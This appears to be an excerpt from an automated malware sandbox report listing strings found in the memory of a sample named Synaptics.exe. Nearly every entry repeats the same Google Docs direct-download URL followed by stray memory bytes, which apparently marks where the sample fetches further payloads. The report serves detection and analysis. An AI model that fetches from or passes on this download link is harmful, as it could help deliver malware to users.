Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl;U3
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl=
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlK
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlO%
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlX
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000072BB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle&a
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle.pl
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlecli
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleme
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniG
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniJ
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniy
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniyS
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlevad
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadll
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllem0
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllem6
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlleme
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlv
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm(
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm.tr
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmeVf
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmob-cGVo3m#
Source: Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmple
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000072BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.com
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnc
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnc.g
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncVc
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncell
Source: Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncelleme
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnet.
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetl
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetlN
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetle
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetls
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadng
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadni
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyo
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyo8
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnject
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnl
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnt
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnv
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado&
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado.co
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoL
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoLt1.
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoO
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadocati
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadog
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogle.
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogleMs
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogler
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoid.cSsx3
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadom.au
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadonnec
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogl
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogle
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador..
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador3
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorfb
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorm-F
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorniaUU
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadot
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadould.p
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadownl
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000072BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp;93
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpH
Source: Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpadding-right:0
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpht.c
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqD
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqh
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000055A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqt
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000072BB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr.
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrK
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrch=
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadre?
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrg.cn
Source: Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrt
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrv
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads-cn
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads.dl
